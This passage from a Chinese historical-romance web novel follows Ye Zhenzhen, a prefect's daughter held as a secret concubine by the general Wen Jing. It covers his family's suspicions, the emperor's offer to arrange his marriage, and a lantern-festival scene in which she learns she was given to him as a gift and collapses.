“青莲,我到现在才知,闻景那个禽兽是故意不让我喝避子汤,“叶珍珍心中想明白了闻景的意思,当即绝望道,”他就是想让我怀上他的孽种,这样便可以说服郑国公府的人,将我纳进府里,从此一生便只能任他磋磨,再无离开的可能!”
青莲轻轻拍着她因气恼而颤抖的肩膀,安慰道:“小姐若是不愿意怀孕,奴婢和雪青会帮您想办法的,只是您在他面前,还是不要露了马脚才好。”
“青莲,中秋那晚,闻景会带我出门逛灯会,我就带你和雪青去吧,“叶珍珍说完这话后,又很快摇头否定道,“不行,这样太明显了!我还是带着你们和白枝青渚一起去吧!”
“那天晚上人应该很多,我多带两个丫头,想来他也只会觉得太少。”
“既然小姐有机会,那奴婢们自当会将小姐的事办好,小姐这些日子就好好歇着吧,别再难过,以免引起怀疑!”
叶珍珍擦了擦眼角的泪痕,勉强笑道:“我会小心的。”
好歹这一次的癸水顺利到来,否则叶珍珍不敢想以如今自己这种见不得人的身份,若是真的怀上那人的子嗣,会如何万劫不复。
自然,闻景从回京复命后,就只堪堪在郑国公府里零碎着住了几日,其余时间不是在宫里和兵部,就是回了梨花巷的宅子,与叶珍珍纠缠。
他的行踪到底还是引起了他母亲舜华郡主的起疑。
起先,舜华郡主只是以为儿子终于有了心上人,也不曾放在心上。
她膝下有二子二女,除了闻景和年纪尚小,还未到商量婚事的小女儿闻菲,其余二人都以成家。
闻景是大哥,老二闻璃已经娶妻生子,三小姐闻雅也嫁了人,而闻菲则还未及笄。
舜华郡主打发走了闹腾要闻景陪着游玩的闻菲,一招手喊来身边随侍的白木。
“你去世子爷的院子里看看,是不是真的如菲儿说得那样,他根本几日都没有回府。”
“奴婢遵命。”
一旁的李嬷嬷见舜华郡主脸上的忧色,不禁开口道:“郡主放心吧,咱们家的世子爷那可是世家勋贵子弟里最出息的那位,就算是世子爷几日不曾回府安歇,也不见得会背着您,在外面有瞒着您的事。”
“唉!嬷嬷哪里不知道我最放心景儿了?只是,如今连璃儿和雅儿都成了家,他的婚事却还杳无音讯!”
李嬷嬷顿了顿,才低声暗骂道:“都怪当年那该死的小浪蹄子,为着勾引国公爷,竟不惜买通侍卫混进国公爷的书房,害得咱们世子爷拿着学问去请教他父亲时,撞见了衣衫不整,藏在屏风的秦氏。”
舜华郡主一听李嬷嬷提起当年的时,只恨自己下手还是太轻了,竟然还给她留了全尸。
那时,她刚诞下雅儿,白氏那贱人便为了邀宠,躲在屏风后,将前来寻父亲的闻景当作了郑国公,从他身后将他抱住。
自然,那时的闻景不过才七八岁,正是孺慕父亲的年龄。
饱读诗书礼仪的他,哪里见过秦氏那样的狐媚子,青天白日的就敞着衣衫藏在他父亲的书房里。
虽秦氏当即也就发现了不对劲,但是却已经晚了。
自那以后,不仅与他父亲疏远起来,就连性子都变得让人难以捉摸。
他不肯再去闻家的私塾里念书,而是求了自己,独自一人去了京郊的骊山书院。
一直到十三岁时,便毅然入了军营。
舜华郡主起先还未发现不妥,只是到了该给已满十六岁的闻景,安排房里人时,才发现异样。
他不肯碰所有她安排的丫头,只说恶心。
直到了十八九岁时,他却连舜华郡主安排的各种花宴也无兴趣时,舜华郡主这时才知晓闻景根本就没打算要顺从她的意思,娶妻生子。
后面军事繁冗时,更是一头扎进军营里,不肯再相看女子。
“嬷嬷,事已至此,已经无法再回溯过去了。”
舜华郡主想得很明白,与其强迫闻景娶个摆设般的妻子,放在郑国公府,不如顺着他的意思,看他到底中意什么性情模样的女子。
“是奴婢失言,不该再旧事重提,该打嘴!”
李嬷嬷后悔方才的话,只抬手双手朝自己的老脸上呼去。
舜华郡主笑着拉着李嬷嬷的手,“够了!你个老货,再打就不好去他那所宅子里,去替我瞧瞧里面到底住了何人。”
“郡主是说,世子爷在外面藏了人?”
舜华见李嬷嬷不敢置信的模样,又气又笑道,“你别告诉我,你忘记了他初回京那段时间,有天早上来请安时,挂在脖颈间的咬痕。”
那痕迹大小,明眼人一看便知是女子的樱唇咬下的。
“那现下世子爷还不肯回府住,岂不是……”李嬷嬷没敢说完,只能暗地打量着舜华郡主暗淡下来的神色,住了口。
舜华郡主却打起精神,深吸口气道:“无所谓,不过是个外室,景儿喜欢的话可以待定下婚事后,纳进府里来。”
一个女子算什么,只要她的景儿不是有什么令人难以启齿的癖好就好。
她想让李嬷嬷去打听梨花巷的那所宅院,也就是想放心些。
“启禀郡主,”已经从溶月院回来复命的白木,双膝跪在舜华郡主面前,“奴婢问了溶月院的下人,他们只说世子爷每月初一才回来住一夜,其余时候便只见爷身边伺候的玉泉和玉林回来
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取换洗衣物,就再也不曾见过人。”
“起来吧,”舜华郡主指着月溶院的方向,朝李嬷嬷置气道,“不用给我请安就可以一直不回府里,这就是咱们的大将军!”
“郡主别气,这是好事啊!”李嬷嬷眼皮一跳,随即给舜华郡主拍背顺气道。
舜华郡主虽气,但也只气闻景瞒着她有了人,却不肯带回府里。
她就那么让人畏惧吗?
连喜欢的女子也不肯让她给他掌掌眼?
难不成,是那女子身份上不了台面,所以才悄悄背着她,将人养在外面?
罢了,再过几日就知晓了。
此时还在宫里御书房陪皇帝下棋的闻景,连连打了两个喷嚏,见皇帝一脸不解地望过来,当即起身,掀起袍角单膝跪在地上,沉声道:“臣,君前失仪,望皇上恕罪!”
“起来坐下吧,”皇帝摆摆手,又在棋盘上落下一子,“该你下了。”
“谢皇上隆恩!”
闻景谢完恩后,才缓缓起身,在椅子上坐下。一手拈起白子,双眼紧紧盯在局势不明的棋盘上,暗暗思索起来。
“这里。”
闻景执棋在棋盘一角处利索落下一子,白子瞬间便吞掉一片黑子。
“哈哈哈哈!好!”
皇帝见自己的黑子已经大势已去,也不再勉强,大笑着将手里的黑子放进棋盒里,朝闻景点头赞许道,“不愧是能领兵作战,战无不胜的镇北大将军!朕心甚慰啊!”
“不像朕的那几个儿子,每日明争暗斗的,闹得朕心烦。说来说去,还是舜华命好,养了个如此争气的儿子,替朕分忧!”
闻景思及近日六皇子沈俞风手下的刑部侍郎张春,被太子一派告了御状,说他仗着沈俞风的势力,欺男霸女,纵容家仆夺人家产田地。
这几日的朝堂上,太子一派的人死咬不放,而沈俞风却一口咬定说这是无稽之谈,两边吵的热火朝天,连闻景都不由暗自觉着聒噪嘈杂得很。
“皇上谬赞了!”
闻景起身拱手道,“臣是母亲养大的,也是皇上亲手栽培的臣子,理应替大齐做些力所能及的事,不敢居功。”
“哎!朕夸你,你就好好受着,这是你自己在沙场上换来的荣耀,有何不敢骄傲的?”
“臣是皇上的臣子,臣的一切皆是皇上您赐下的,没有皇上您对臣的信任和重用,就没有臣今日的官身和荣耀。”
皇帝见他倒和从前有些不一样,便挥手道,“坐下吧,你动不动就起身行礼,晃得朕眼晕。”
“方才听闻你打两个喷嚏,可是受凉了?如今虽还未过中秋,但早晚夜间的热气渐散,还是要小心受凉啊!”
“臣,谢皇上关怀!”
皇帝见闻景还是不停地谢恩,也不管他,只望着眼前日渐沉稳的大侄子,失笑道:“你回来这几个月,舜华可定下了你的婚事?”
“你年纪不小了,又替朕出兵打退了北戎,耽误了两年,想来你母亲急得很吧?闻景,若是你有心仪的女子,不妨可以告诉朕,朕这个舅舅愿意替你的婚事再添份喜气。”
这是要给自己赐婚?
13. 今夕何夕
闻景脑海里立即梳理了一遍京中身份地位与他相当的贵女,只不过几息,便想起晨间自己起身时,那人还兀自熟睡的神情,暗自滚了滚喉头。
“回皇上,臣尚无成家的打算,待臣有了心仪的女子,定会向皇上求一份赐婚圣旨。”
“哦?京中这么多未嫁的贵女,你都没有看上的?”
闻景摇头道,“我久在营中,是她们都怕我,瞧不上我这个莽夫。”
皇帝被闻景这话气得抖了抖胡子,“你哪里是莽夫了?明明是貌比潘安,文武皆通的好男儿!不过就是看上去冷峻了些,以后多多对她们笑笑就好了。”
闻景不由皱起眉,迟疑道:“臣看上去真的很冷漠疏远吗?”
“哈哈哈!”
皇帝被闻景这副毫无知觉的傻样逗笑,指着身侧收拾棋盘的老太监道,”你,你来说说,闻世子身上的气势,是不是让贵女们都不敢靠近?”
王总管陪了帝王十几年,如何不知他此时心情正好。
他当即躬身附和道,“咱们世子爷要家世有家世,要才能有才能,至于相貌也是不可多得的英俊男子,若是再温和些,多笑笑,也许早就当爹了!”
“说得好!”皇帝拊掌大笑道,“听见了吗?阿景,男子就算长得再俊,整日冷着脸也骗不到小姑娘。”
“臣,谢皇上指点!”
闻景神色有些不自然,只能先谢完恩。
“好了,今日是中秋,你出宫回府陪你母亲过节去吧,朕也要去见个人,就不留你用膳了。改日,你有了心仪的女子,就告诉朕,朕替你牵线,保证让你抱得美人归!”
已经得到了。
闻景起身跪在地上,恭敬道:“臣谢皇上隆恩!臣告退!”
“去吧。”
闻景踏出御书房时,外间的天空已经是霞光灿灿。
再过一两个时辰,天边已经有些泛青的云,就会被夜色彻底笼罩,也就到了与她约定的时候。
闻景下完最后一个台阶,便大步流星得朝宫门口的方向走去,直到骑上马,才觉得这落日也太慢了些。
回了郑国公府的闻景,先回溶月院换了身衣裳,才匆匆忙忙朝正院走去。
中秋佳节,自然是要一大家子团坐在一起赏月吃酒,谈笑风生。
待到月上柳梢时,郑国公府的下人们早早就挂上了宫里赐下来的数盏花灯。
如今的郑国公是闻景的爹,闻言敬。
郑国公府的主子不多,闻景没有亲叔伯。他的祖父祖母早已仙逝,再加上两个姑姑皆是远嫁,于是府里只有分家却不分府的两个庶叔婶娘,和他们膝下的子女。
今日是八月十五,除了已经出嫁的文雅,便都聚在郑国公府里的明月榭里,坐了满满一花厅。
酒过三巡,菜过五味,众人的兴致愈发高起来。
闻书敬端着酒杯,醉醺醺得朝闻言敬道:“还是景儿有出息,不仅文治武功了得,还深受皇上的恩宠,依我看啊,若是再有门极好的亲事,大哥你也真的可以放心了。咱们郑国公府,必定盛极不衰!”
“二哥!你喝太多了!”
闻克敬见上座的两人还未有什么不快的神色,却见对面笑而不语的大侄子脸色蓦然沉了下来。
他们这些旁支好好依附着这颗大树即可,至于闻景的婚事,是无论如何也不该他们开口的。
“是!我是喝得有点多!”
闻书敬通红着脸,打了两个酒嗝,随即附和道,“可是,我是真的高兴啊,大哥!”
“大哥,二哥喝醉了,不如我送他回院子去歇息吧?”一旁的闻克敬拉着闻书敬摇晃的身子,朝上座的闻言敬道。
“既然二弟醉了,那就劳烦三弟和二弟妹送二弟回去睡觉吧!”
闻言敬见庶弟醉得着实不浅,当即开口道。
听着闻言敬发了话,二房的人才同扶着闻书敬的闻克敬,出了水榭。三房的人自然也随着闻克敬离开。
闻景只专心摆弄着手里的空酒杯,眼神却时不时瞟向不远处的漏壶。
直到月上中天时,才起身向他爹娘告罪道,说要出府散散酒气。
舜华郡主不动声色得打量着闻景眉眼间的神色,见他托词要出门散散酒气时,便看了一眼早就候着她眼色的闻菲。
“哥哥!今日街上有灯会,也带我去逛逛呗!我要你给我买一盏最好看的走马灯!”
“街上人太多了,府里的走马灯还不够你玩的吗?”
闻菲却不怕闻景的冷脸,只拉着他的胳膊撒娇道,“我会乖乖带着丫头小厮,不会乱跑的!这不是还有大哥你吗?有你在,谁敢欺负我?”
随即又抢在闻景开口前,朝舜华郡主和郑国公闻言嘟撅嘴告状道:“爹,娘!哥哥不带我去逛灯会!”
“景儿,你今年好不容易在家里过节,就遂了菲儿的心愿,带她出门逛逛吧!”舜华郡主替闻菲求情道,“不会耽误你太久的。”
“大哥别看我,谁叫这个家里,只有菲儿不怕你,她不赖着你赖着谁?“闻璃也忍不住帮腔,“你不在府里的两年,都是我带着菲儿去看灯会的,今日怎么也该轮着你了。”
闻璃靠着自己苦读考了科举,如今是翰林院编修,娶了如今太医院院史梅家的小姐为妻,膝下也有了孩子。
而梅氏前几日又诊出了三个月的身孕。
闻景见他娘和闻璃都帮着闻菲求情,只有二弟妹梅氏暗中悄悄扯了扯闻璃的衣袖。
闻璃见状再添一把火道:“大哥难不成真的要拒绝菲儿?那我只有让内子也随我一同出府,带着菲儿去玩。”
闻景虽不想带闻菲一同去见叶珍珍,但听着闻璃的话,又转头见小妹正满脸哀求可怜的模样,只得皱着眉应下了。
“先说好了,街上人多,若是你贪玩走丢了,我可不会来找你的!”
“娘!你听哥哥说的话!”
舜华郡主却点头道,“你哥哥也是怕你上了街,贪玩过头。菲儿,你听你哥哥的话,把你哥哥跟紧了!”
“走吧,再不走,灯会就要散了。”
闻璃出言打趣道,随后则给一旁的梅氏倒了杯甜梨水,避开闻景的眼神。闻景拉下闻菲抓着自己衣袖的手,转身就朝外走去。
闻菲满是得意得朝在座的几人一笑,便提着裙角,追闻景去了。
“哥哥,等等我呀!你走得太快了!”
舜华郡主见他们还是如从前那般吵吵闹闹,
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倒也安下心来。
只是回头看见身侧闻言敬瞧她的神色,唇边的笑意慢慢逝去,就好像方才水榭远处放的烟火,一瞬间就失了神彩。
“不知景儿的婚事,皇上到底是如何打算的?”
闻言敬知道以闻景现下的身份地位,恐他们是他的父母,也做不得主。
舜华郡主见花厅里只剩自己一房的人,也不顾忌什么,垂眸道:“景儿在宴席前来见我说,皇帝让他选喜欢的女子为妻即可,他还可以为这桩婚事锦上添花,下赐婚圣旨。”
“那就是说,景儿可以随心自己的婚事?”闻言敬毫不意外道。
这些事他本就细细思量过,只是还需得再确认一番。
舜华郡主闻言,却摇头道:“君心难测,还是慢慢瞧着吧,不着急。”
“母亲,既然大哥如今权势在握,不如就相看些家世过得去的闺秀吧,”闻璃听着爹娘头疼起哥哥的婚事,也开口献策道,“一来,也不至于让那几位贵人忌惮,二来嘛,大哥身边还是有个贴心人才好。”
“你这话的道理我如何不知?”
舜华郡主想起闻景的婚事,简直头疼欲裂。
她什么时候能做这位世子爷的主?
如今,天天瞒着她往那所梨花巷的宅子跑,更不提,他从来都没有参加过她举办的各色宴席。
闻璃见母亲头疼的样子,只得安慰道:“缘分这种事急不得,或许哪日大哥想通了,自然就会带人回府见二老。”
“……但愿如此吧。”
闻言敬也觉得只能如闻璃所说,这事急不来。而舜华郡主只揉着发胀的额头,沉默不语。
叶珍珍带着人,按照与闻景的约定,走在京城里最热闹的朱雀街上,慢慢闲逛着。
雪青已经去借着给她买吃食的理由,窜进了人潮里。
她则带着三个丫头和十来位侍卫,一路赏着花灯,一路朝前走去。
待进了闻景在玉华楼定好的厢房时,才挥退众人,独站在窗边。
晚风挟着一丝凉爽,将她的宽袖无声翻飞。
额间的碎发也丝丝缕缕划过面庞。
遥望着遥不可及的圆月,脑海里却是昨年此时的场景。
去年此刻,她与父母哥哥皆在他们叶府里的花园里,赏月吃酒,好不快活热闹。
而今日,她却成为闻景手里的金丝雀。
只能在他的掌心里,任他揉搓。
眼里渐渐蓄起的热意,让叶珍珍眨了眨眼,瞬间眼前的圆月便模糊成了一团光晕。
抬手拭去眼角处的无色湿痕,却见眼下大街小巷里璀璨的灯火,映照着高悬的圆月,让她几乎一时间分不清楚此处究竟是临州,还是京城。
只是身后响起推门声和请安声,让她从这种荒诞的思绪里抽离出来。
这里,是京城。
“启禀世子爷,小姐已经在里面了。”
“去准备些茶水点心送上来,要热的。”
“属下遵命。”
闻景一推开门,并没有见到人。耐着性子朝里走了两步,才发现人就站在窗前,静得几乎要与这嘈杂的街道声融为一体。
而紧随其后的闻菲,却瞪大了眼眸。
14. 情场新手
她母亲舜华郡主是当今皇帝的堂妹,又主持着郑国公府的中馈。
她随母亲和姐姐去过京中上至皇宫,下至官宦家的宴席,却是第一次见眼前陌生的女子。
更让她震惊得是,她会在大哥提前定好的厢房里。
“珍珍,这是我妹妹闻菲,”闻景略过闻菲眼里的好奇,见叶珍珍转过身来,朝她介绍道。
“闻小姐。”
“大哥,那她是?”
“菲儿,她是临州刺史叶府的小姐,因被她父亲托付给我进京寻医,所以今日叶小姐也在此。”
闻菲点点头,眯起眼睛打量着眼前的两人,却没有发现有什么值得深究的地方。
毕竟那叶小姐见她大哥,既不像一些京中贵女那般害怕的发抖,也不像某些人厚着脸皮乞赖着哥哥。
倒是看她大哥的模样时,就宛若一尊……雕像!
毫无生气可言。
“叶小姐,我叫闻菲,家中排行第四,”闻菲收起打量的目光,朝叶珍珍甜甜一笑,“想来叶小姐既然要在京中寻医问药,想来我们日后见面的时候还多,叫叶小姐也太客气,不如我们序齿?也方便日后说话。”
“闻小姐客气了!”
叶珍珍听闻她落落大方的介绍,心没由来得紧缩一下,她如今这种见不得光的身份还是少见闻四小姐为妙。
闻景见她婉拒闻菲,只踱步走到椅子前坐下,出声道:“她比你大。”
闻菲听到后,撅了撅小嘴,怎么她又是最小的?
不过一瞬便扬起笑脸,朝叶珍珍甜甜喊了一声“叶姐姐”。
闻景说完便端起茶盏喝了一口,才听到叶珍珍低低叫了一声“闻妹妹。”
罢了,慢慢来。
就在闻菲拉着叶珍珍坐下时,门被人敲了敲。
“进来。”闻景开口道。
随着门“吱呀”一声被人从外间推开,闻景便在主位上赫然望见站在玉泉身后的几个狐朋狗友,正不怀好意得瞧着自己。
“哟!这不是咱们的闻世子吗?怎么这么巧,就在这里碰见了?”
“哎!李颂云,这你可该罚!”
唐隋之叫唤起来,他转着眼珠瞧着闻景毫无波动的面色,打趣道,“他现在已经是堂堂正二品的大将军了!你该叫闻将军!”
“你们怎么来了?”
李颂云见闻景不邀他们进去坐坐,就在这里干问着,当即抬脚朝里走,“我与唐大人在前街碰见你带着人上了玉华楼,便想叫住你,哪知你也走得太快了,只得跟在你身后上楼来寻你。”
“这不,我和唐大人见玉泉正端着茶点往这里走,便随他找到了大将军。”
“玉泉,再给李大人和唐大人上两盏茶,免得说我招待不周。”
唐隋之随李颂云一齐落座,才连连笑道:“李兄,别惹闻景了,免得你待会被玉风扔出门去,还要连累我!”
说完后,又朝闻景道,“不过是阿景你太难约了!自你打了胜仗回京,兄弟们几次约你去喝酒,都没能成。今晚,你可不能跑啊!”
“是啊是啊!”
李颂云附和道,“那日本来在崇明门时,就想约你出来喝酒的,哪知你一脸郁色,好像欠你钱一样!”
闻景听着两人在他面前的一唱一和,只是见他们的眼睛却不断飘向那人所在的方向,不免暗悔带她出来。
只是,事已至此,他也只能先让玉风带着闻菲和叶珍珍下楼走走。
闻菲早就想去街上了,只是先前她大哥没有发话,她哪里敢擅自做主?
如今,她不仅能去灯会上逛逛,还有叶姐姐这个伴,只能说眼前的两位不速之客,倒是来得妙哉。
“叶姐姐,这里没什么好玩的,我们下去逛逛吧!”
叶珍珍见闻景发了话,便和闻菲一齐朝三人福了福身子,出了门。
屋子里的李颂云和唐随之也对二人颌首,见两人相携离开,才笑着与闻景闲谈起来。
“闻世子好福气啊!有闻四小姐这样活泼可爱的妹妹,但真是令人羡慕啊!”
唐随之酸溜溜道,他爹娘连着生了五个男孩,竟连一个女孩儿都没有,甚至他爹的妾室们也只生出两个庶子来。
而闻景这家伙,除了闻璃这个亲兄弟,还有两个亲妹妹!
让他羡慕多年。
“既然李尚书和尚书夫人没能得一个女儿,为何你还不娶妻,自己生一个闺女呢?”
闻景对唐随之的羡慕,早就闻风不动,如今更是吐出这一句杀人诛心之言。
唐随之扯了扯李颂云的衣袖,努嘴道:“瞧瞧!明明我们三个人里,阿景最应该先娶妻生子的,如今倒和我爹娘一样,见了面就催促起我的婚事来了!”
李颂云放下手里被唐随之扯得差点溢出来的茶盏,暗自腹诽道,活该,谁让你管不住自己的眼睛,要往那人身上瞧。
“阿景,今日我是和随之一伙的。不过要我说,阿景你如今已是身份显赫,功成名就,是该操心操心起人生大事了!”
“嘿嘿!”唐随之听闻李颂云的相帮,当即朝他戏谑笑道,“这你就不知道了吧?”
“咱们的阿景从临州回来时,不仅带着皇上亲封为正二品大将军的圣恩,还带着一位美人回了京,如今啊,那美人就藏在他的私宅里!”
“真的?!”
李颂云话一落音,唐随之简直眼珠子就要瞪出来了。
他身子朝前顷了顷,连声问道:“真的吗?阿景,李颂云口中的话只能相信一半,我要听你亲口承认才相信!”
闻景面对两人的表演,丝毫提不起兴致,但见两人顶着自己的黑脸,也要问个明白时,便知今日是不可能随意糊弄过去。
“是,我是从临州回来时带来个人,”闻景痛快应下,嘴角浮着让两人背脊发凉的弧度,沉声道,”你们方才不就一直盯着她看吗?”
唐李二人飞快得对视一眼后,有齐齐转头朝闻景道:“你的毛病,什么时候好的?”
闻景这个人,自他们十岁相识后,也少见个笑脸。
这倒也不算什么,只是他们年少时胡闹时,只有闻景会拒绝上花楼,若是想同他喝酒,便只能去酒楼。
就连他母亲舜华郡主给他安排的人,也不多看一眼。更不提参加什么乱七八糟打着赏花的名号,实则是相看的花宴了。
如今,却在不知不觉中转了性子,当真可喜可贺啊!
“我没毛病!”
闻景没好气道,自己明明生龙活虎,哪里像是有病之人,“
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我不过是从前没有瞧中的人,不愿与你们同流合污而已,少胡说八道!”
明明昨晚还—
李颂云听闻闻景的话,连连叹气摇头道:“可惜可惜,你一个多年独身的汉子,忽发了情,也不知有没有怜香惜玉?阿景,我告诉你,像你这种从未有过男女情爱的高位男子,第一次看上的人,定然要吃好多苦头!”
“颂云,这是为何?”
唐随之虽不是和闻景一般,但他也未曾倾心于哪个女子,于是他对李颂云这话的兴致,只比闻景少一点。
李颂云悠闲得捻了几颗剥好的松仁丢在嘴里,嚼了嚼,一边得意洋洋得瞅了眼已经抓耳挠腮的唐随之,和面无波动,眼睛却盯着自己的闻景,才端起茶盏喝了几口,将口中的残渣漱去。
“李颂云,你若敢再吃松子,我就让人给你夫人送信,告诉她你上个月去了琼花楼喝酒!”
“噗!”
李颂云被闻景的威胁震惊道,当场就将口中还未咽尽的茶水赫然喷出,直到水雾散去时,他的呛咳才堪堪止住。
唐随之离李颂云最近,差点被波及到,立即从位置上跳起来,惊呼道:“颂云,你胆子可真大!”
他家那个母老虎若是知道李颂云去喝了花酒,恐怕又要闹着回娘家。
李颂云擦了擦嘴边的茶水,辩驳道:“闻景,你少血口喷人!我那日约你时,是在琼花楼定了位置,可是你当时不是拒绝了我吗?我怎么可能一个人去喝花酒?”
“那就是说,我若是去了,你就会回去?”
“阿景,你饶我了吧,我那日是见你脸色不好,又想着几年不曾聚聚了,才脱口而出说自己在琼花楼定了位置,好寻个清倌陪你喝喝酒。其实,我定的其实是这玉华楼,咱们这么多年的交情,我哪里不知道你的规矩?”
“好了,颂云快回答方才我的问题,再不说,阿景真的会搞你的!”唐随之一下抓住了关窍,在一旁急急提醒道。
李颂云闻言后,无奈道:“阿景这多么年都没有正眼瞧过京中的这些贵女,一心扑在军营里,从前也没有和女人……总之,被阿景瞧上的女子,可有的苦头吃了。”
“再说了,若是那女子也喜欢阿景还好,两个人还可以磨合磨合,”李颂云瞥见闻景握着茶盏的手猛然收紧,顿了顿,才继续道,“若是只是阿景有意,而那女子无意,就凭着他的权势,不叫那女子家破人亡都是轻的!”
“啧啧!”
唐随之听李颂云如此一分析,不禁感概起来,“阿景,要不要我让拂柳教教你在榻间讨人的法子,免得你半夜被人踹下床去!”
拂柳是琼花楼里的花魁娘子。
“滚!不需要!”
闻景将手里喝完的空盏掷向没安好心的唐随之,见被他一手接住后,又沉声朝李颂云道:“少胡说八道,你还是想想明日怎么像李夫人解释吧!”
“哼,罢了!我猜那方才闻四小姐身旁的那位,就是临州带回来的叶府小姐,”李颂云破罐破摔道,“随之,前不久临州私扣军粮被处罚的就是临州刺史,叶孝义,想来阿景能替他在皇上面前求情,也就是因为这位叶小姐。只是不知这位叶小姐是被人胁迫的,还是仰慕我们阿景的风神俊朗,英俊潇洒,才独身随阿景上了京城?”
15. 是幻是真
闻景见此事已经被李颂云说得一清二楚,也不再隐瞒,只听他冷哼道:“她却是是叶孝义的女儿,只不过你到底还是猜错了!”
“哦?哪里错了?”
李颂云和唐随之齐齐抬眼望向满脸不屑的闻景。
只见他从椅子上起身,却走向窗前,背对着他们,朗声讥讽道:“什么胁迫?什么两厢情愿?她只不过是叶孝义为求我替他在皇上面前美言几句,就被送上了我床榻的礼物。而我,自然是禀着善心才享用这番美意的,根本就不是你先前的那一通胡说八道!”
“她如今不过就是我的侍妾,哪里算得上心上人?”
闻景垂下眼眸,在街上来来回回的人群中,不停地搜索着那人的身影。他交代过玉风,只让两人在玉华楼的街前走走。
见闻景不仅不认,还说出这许多令人难堪的话,李颂云也只得噤声,不再多言。
他本只想让闻景承认他对那叶家小姐的心思,却不曾想就在闻景开口时,那女子就和脸上还带着笑容的闻菲站在门口,将闻景的话听得清清楚楚。
那女子本来极好的颜色身姿,在闻景的话落音后,便显得楚楚可怜起来,一双眼眸似雾非雾,好似灯火下一只纤弱的粉蝶,即将扑向灼热的灯火般绝望。
闻菲眼角笑意还来不及消散,只怔愣着提着精心挑选的走马灯,往叶含珍面上扫去。
而闻菲手里那盏被热气催动着的走马灯,不停地在叶珍珍身下的湘白挑线裙子上,落下八仙过海的暗影。
而她手里原本提着的兔子灯,则在闻景说完话后,便从手中跌落下来。
她是她爹送给闻景的礼物吗?
那就是说,她爹是真的不要她了吗?
闻景的话尽数落在叶含珍的背脊上,一字一句都砸得她几乎直不起腰背来,只能凭着最后一丝理智,压制住喉间的嘶喊。
“我、我爹他,当真是、是犯了,”叶含珍根本憋不回去已经汹涌而出的泪珠,哑着声音,断断续续道,“是我爹,为求活命将我送给你的吗?哪怕,哪怕我的婚期就是今日?”
原来,不是闻景设计害得她爹,而是她爹用她,在闻景这里换了一线生机。
而她还可笑得以为是闻景对她起了令人作呕的心思,才污蔑她爹,从而得到自己。
闻景早在兔子灯落地的时候就即刻转回了身。
只是在望见那副摇摇欲坠的人影时,蓦然狠下了心。尽管他后悔方才脱口而出的斗气之言,但他也不愿给叶含珍留一丝还能离开他的幻想。
这也就是,他为何从头到尾都没有给叶含珍喝过避子汤的原因。
他要她进郑国公府。
“大哥,这是真的吗?叶姐姐的父亲将她—”
“玉泉!送四小姐回府!”
闻菲哪里会想到叶含珍竟然会是她大哥身边的,侍、侍妾?明明方才,大哥说叶姐姐是上京养病来了,怎么会是这样呢?
她一时想不明白,但玉泉已经走至她身前,恭请她回府。
“四小姐,你就听世子爷的吧。”
玉泉低声劝道。如今,这个场面,还是早点离开比较好。
闻菲自小娇生惯养,哪里这样被人疾言厉色吼过,尤其这人还是她大哥闻景。
“叶姐姐,我大哥他—”
“闻四小姐言重了,我不是你的叶姐姐,我只是、只是礼物。”叶含珍耳朵里早嗡嗡响着,只是闻菲那张和那人有着几分相似的面容,忽将她惊醒。
她不是闻菲的叶姐姐,也不愿意做她的叶姐姐。
而她,本该在今日此时,成为那人的妻子。
叶含珍面如金纸,半晌后,才颤抖着没有一丝血色的唇瓣,有气无力道,“闻四小姐唤我这个礼物为姐姐,只会让人耻笑的!”
她说完这话便僵硬着弯腰,去捡那盏已经烧得只剩下手柄的兔子灯。
只是纤纤素手还未触及到那方手柄时,一阵闷痛感自心间传来,瞬间眼前一黑,便直直扑到在地。
“叶姐姐!叶姐姐!”
闻菲离她最近,当即就急忙忙得去扶她。
只是双手才碰到她肩膀时,闻景就已经冲了过来,将昏过去的叶含珍扶在怀里。
“珍珍!珍珍你醒醒!”
见人双目紧闭,胸口起伏微弱,豆大的汗珠随着额角滚落,闻景也没了再继续待下去的心思,只抬头望了一眼早就赶过来的唐李二人,便抱着叶含珍出了门。
“玉泉!你亲自送四小姐回去!玉风,让人请大夫去梨花巷!要快!”
闻菲还想跟上去,却被玉泉展臂拦住身前,“四小姐,世子爷现下顾不上你,你还是听他的话,回府吧!”
“那叶姐姐怎么办?”
闻菲急得直跺脚,她虽只和叶含珍见过一面,但她真的很担心她。方才她大哥的话,说得很明白,叶姐姐是被家里人抛弃了才落到他大哥手里。
原本就已经够惨了,哪知却还被她大哥激得直接昏了过去。
“闻四小姐还是听阿景的话吧,他现下得去带叶小姐看大夫。”李颂云劝道。
他李颂云哪里能想到他们二人之间的情况,居然比自己胡扯的还让人难以接受。
不过,见叶小姐方才的激烈反应,李颂云则暗暗责怪自己为何要多嘴。
“走吧,咱们也回吧。”
唐随之见李颂云脸色不复先前的眉飞色舞,便知他心里不好受,只拍了拍他的肩膀,便提步下楼去。
闻景等不及玉风牵马车过来,抱着人就骑上了马。
好在这会时辰不早了,路上的游人已经散得差不多了,只剩些零零散散还在收拾摊子的小贩。
再加上梨花巷离朱雀大街不远,待闻景带人回到宅子里时,大夫都还未赶来。
他小心翼翼地伸手探了探叶含珍鼻间的气息,不知怎么得,忽慌乱得大喊起来:“拿羽毛!拿羽毛!”
几个丫头一听闻景的叫喊,登时四下散去,各处去寻羽毛。
雪青和青莲慌乱得如无头苍蝇般,在屋里一阵乱翻都没有寻到。还好,白枝和青渚还镇定些,速速寻来了装饰在外间屏风案上的孔雀毛。
闻景将白枝递上来的羽毛放在叶含珍鼻间,只见那蓝青的细羽随着她的呼吸,匀速的颤动着。
而见此场景的他,这一刻才觉得胸膛那颗冰凉的心,又开始缓慢的跳动起来。
“都出去!去看看大夫到哪里了,人若是来了,就立即带进来!”
说完只将满是汗珠的额头,重重抵在叶含珍柔软而温凉的手心里。
白枝和青渚见闻景这副模样,只得拉着哭哭啼啼的雪青和青莲退出了内室,去院子门口等大夫。
不到一炷香的时间,玉风就带了大夫来见闻景。
“老夫见过—”
“别废话!快过来给她诊脉!”
大夫请安的话被满脸急色的闻景打断,便被闻景拽着到了床前。
半盏茶后,大夫才收回搭在叶含珍腕间的手,青渚则仔细地将腕间的手帕收起,将被子盖好。
“回世子爷,这位小姐应该只是急火攻心,才昏了过去,在下开几副药,再静养几日就好了,”大夫诊完脉象,跪在地上朝闻景启禀道,“还有,恐小姐这惊
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惧来得突然,恐后面会烧起来,还请世子爷让人细心照看着,别受了凉。若是再受凉,只怕日后会落下病根!”
“那她何时会醒?”闻景稳了稳心神道。
大夫抚着胡须,摇头道:“吃了药,若是快便是明日,若是慢的话,就要三五日了。”
闻景原本放下的心又悬了起来,好在只是不能受凉,他竭力平息心头的猛跳,让白枝带人出去了。
